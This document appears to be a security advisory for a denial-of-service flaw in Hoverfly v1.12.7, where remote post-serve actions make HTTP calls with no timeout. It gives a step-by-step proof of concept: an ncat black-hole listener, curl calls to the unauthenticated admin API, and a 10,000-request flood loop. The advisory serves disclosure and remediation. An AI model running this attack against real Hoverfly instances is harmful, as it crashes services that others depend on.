CVE-2026-50018

描述

### Summary: Remote post-serve actions use `http.DefaultClient` without any timeout configuration. When the remote endpoint is unreachable or intentionally slow (accepts TCP connection but never responds), each triggered proxy request spawns a goroutine that blocks indefinitely on `http.DefaultClient.Do()`. An attacker can cause unbounded goroutine accumulation leading to memory exhaustion and process crash (OOM kill). Unlike local post-serve action execution, this requires no binary execution, only a URL pointing to a non-responsive endpoint. ### Details: **1. Remote actions executed in goroutines without timeout (`core/hoverfly.go:224-228`):** ```go go postServeAction.Execute(result.Pair, journalIDChannel, hf.Journal) ``` Post-serve actions are executed in separate goroutines with no recovery wrapper. **2. HTTP client has no timeout (`core/action/action.go:128-143`):** ```go req, err := http.NewRequest("POST", action.Remote, bytes.NewBuffer(pairViewBytes)) // ... resp, err := http.DefaultClient.Do(req) // No timeout! Blocks forever. ``` `http.DefaultClient` has zero timeout by default in Go. If the remote server: - Accepts the TCP connection but never sends a response - Establishes TLS but never completes the handshake - Uses TCP window size 0 (flow control stall) ...the goroutine blocks indefinitely. There is no context cancellation, no deadline, and no cleanup. **3. No goroutine limit or backpressure:** There is no limit on how many post-serve action goroutines can be active simultaneously. Each matching proxy request spawns a new one unconditionally. **4. The goroutine is never cleaned up:** The only exit path from `Execute()` is a successful (or failed) HTTP response. A non-responding server means the goroutine lives until the process is killed. ### Environment: - **Hoverfly version:** v1.12.7 - **Operating System:** macOS Darwin 25.4.0 - **Go version:** 1.26.2 - **Configuration:** Default (no flags required) ### POC: **Step 1: Start a black-hole TCP listener (accepts connections, never responds)** ```bash # Option A: Use ncat ncat -l -k 9999 & # Option B: Use a non-routable IP (connections hang at TCP SYN) # 192.0.2.1 is TEST-NET-1, guaranteed non-routable # This causes http.DefaultClient to block on TCP connect timeout (which is also unlimited) ``` **Step 2: Register remote post-serve action pointing to the black hole** ```bash curl -X PUT http://localhost:8888/api/v2/hoverfly/post-serve-action \ -H "Content-Type: application/json" \ -d '{ "actionName": "leak", "remote": "http://192.0.2.1:9999/blackhole", "delayInMs": 0 }' ``` **Step 3: Load a catch-all simulation** ```bash curl -X PUT http://localhost:8888/api/v2/simulation \ -H "Content-Type: application/json" \ -d '{ "data": { "pairs": [{ "request": {"path": [{"matcher": "glob", "value": "*"}]}, "response": {"status": 200, "body": "ok", "postServeAction": "leak"} }], "globalActions": {"delays": [], "delaysLogNormal": []} }, "meta": {"schemaVersion": "v5.2"} }' ``` **Step 4: Flood with requests** ```bash # Each request spawns an immortal goroutine for i in $(seq 1 10000); do curl -s -x http://localhost:8500 "http://target.com/req${i}" & # Throttle to avoid local FD exhaustion [ $((i % 100)) -eq 0 ] && wait done ``` **Verified memory impact on Hoverfly v1.12.7:** ``` Memory before: 20,064 KB Memory after 50 requests: 23,376 KB Memory increase: 3,312 KB (66 KB per goroutine) ``` At this rate: - 1,000 requests = ~64 MB leaked - 10,000 requests = ~640 MB leaked - 100,000 requests = ~6.4 GB leaked → OOM crash ### Impact: An attacker with access to the admin API (unauthenticated by default) can cause a complete denial of service by: 1. Registering a remote post-serve action pointing to a non-responsive endpoint. 2. Loading a catch-all simulation that triggers the action on every request. 3. Sending proxy traffic, each request permanently leaks a goroutine and its associated memory.